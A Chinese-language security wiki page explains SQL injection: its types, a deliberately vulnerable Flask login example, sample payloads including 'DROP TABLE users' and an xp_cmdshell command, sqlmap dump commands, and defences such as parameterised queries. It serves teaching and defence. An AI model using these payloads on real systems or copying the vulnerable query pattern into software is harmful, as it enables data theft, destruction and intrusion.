Vulnerability-wiki

SQL 注入(SQL Injection)

SQL 注入(SQL Injection) 是 Web 安全中最经典、最具破坏力的攻击方式之一。攻击者通过构造恶意输入,干扰原本的 SQL 语句逻辑,从而控制数据库的查询、修改、删除甚至执行系统命令。

此类漏洞常出现在:

漏洞影响范围:

Web 应用层 → 数据库层 → 系统层
可泄露隐私、篡改数据、删除表、提权、入侵服务器。


工作原理

SQL 注入通常发生在应用程序将用户输入未经净化直接拼接到 SQL 查询中时。

示例(登录验证):

SELECT * FROM users WHERE username = '$username' AND password = '$password';

若用户输入:

username = admin' -- 
password = 任意内容

执行语句变成:

SELECT * FROM users WHERE username = 'admin' -- ' AND password = '任意内容';

-- 为注释符,密码验证被绕过。

根本原因:


常见类型

类型 描述 特征 示例 Payload
基于错误(Error-based) 利用数据库错误信息回显获取信息 页面显示数据库报错信息 ' OR 1=1 ORDER BY 100 --
联合查询(UNION-based) 使用 UNION 合并额外 SELECT 结果 返回多张表的数据 ' UNION SELECT null, user, password FROM users --
布尔盲注(Boolean-based Blind) 无回显,依据响应差异推测 页面返回真假状态不同 ' AND 1=1 -- / ' AND 1=2 --
时间盲注(Time-based Blind) 无任何回显,利用延时函数检测 页面响应时间变化 ' OR IF(1=1,SLEEP(5),0) --
堆叠查询(Stacked Queries) 支持多条语句 执行多个动作 1; DROP TABLE users --
二次注入(Second-order) 初次注入未触发,之后操作中触发 登记、评论等延迟触发 注册时输入恶意数据,后台查看时报错

攻击示例与利用场景

1. 登录绕过

from flask import Flask, request
import sqlite3

app = Flask(__name__)

@app.route('/login')
def login():
    username = request.args.get("username")
    password = request.args.get("password")
    conn = sqlite3.connect("users.db")
    cursor = conn.cursor()

    # ⚠️ 存在SQL注入漏洞
    query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
    cursor.execute(query)
    result = cursor.fetchone()

    if result:
        return "Login success"
    else:
        return "Login failed"

执行语句:

输入:?username=admin' --&password=123 可绕过登录。

效果: 绕过身份验证。


2. 数据表字段枚举(UNION注入)

输入:

id=1 UNION SELECT null, table_name FROM information_schema.tables WHERE table_schema=database() --

效果:获取当前数据库所有表名。


3. 提权与 RCE(远程命令执行)

'; EXEC xp_cmdshell('whoami'); --

⚠️ 前提是数据库具有执行系统命令的权限。


漏洞检测方法

一、手工检测

  1. 输入特殊字符观察是否报错(如 ' " \ )。
  2. 构造布尔条件:
    id=1 vs id=1 AND 1=2 → 响应页面差异。
  3. 构造时间盲注:
    ' OR IF(1=1,SLEEP(5),0)-- → 页面延迟响应。

二、自动化检测工具

工具 特点
sqlmap 自动化 SQL 注入检测和利用,支持布尔、盲注、联合注入等
Burp Suite + Intruder 拦截和爆破注入点,结合手工调试
Nmap NSE 脚本 用于扫描暴露的 SQL 注入点
Wapiti、Acunetix、AppScan 商业/开源 Web 漏洞扫描器

常用工具与利用方式

sqlmap 使用示例:

sqlmap -u "http://example.com/product.php?id=1" --dbs
sqlmap -u "http://example.com/login" --data="user=admin&pass=test" --dump

支持自动检测数据库类型、注入方式、提权、文件读取等。

手工注入技巧:

  1. 探测列数:
    ORDER BY 1, 2, ..., N
    
  2. 联合查询:
    UNION SELECT 1,2,3,...
    
  3. 字符串闭合与注释:
    ' --    " --   %27 --   #
    

防御与加固建议

方法 说明
参数化查询 使用预编译语句,避免拼接原始 SQL
ORM 框架 如 Django ORM、SQLAlchemy 默认防注入
输入验证(白名单) 所有用户输入应按规则校验类型、长度、格式
最小权限原则 应用账号应只具备最小必要权限
隐藏错误信息 生产环境关闭 SQL 报错输出,避免信息泄露
Web 应用防火墙(WAF) 阻挡典型注入语句和行为特征
⚠️ 黑名单过滤不可取 如过滤 OR-- 等方式易被绕过(编码/变形)

靶场与实战演示环境

靶场环境 特点
DVWA 经典 Web 靶场,包含 SQLi、XSS 等漏洞
SQLi Labs 专注于 SQL 注入的练习平台
Hack The Box 高质量渗透测试环境
Vulhub Docker 靶场集合,适合快速部署

参考资料


📝 作者:ahlien 📧 邮箱:mfs24@mails.tsinghua.edu.cn
🏫 单位:Tsinghua University
📅 最后更新时间:2025-07-25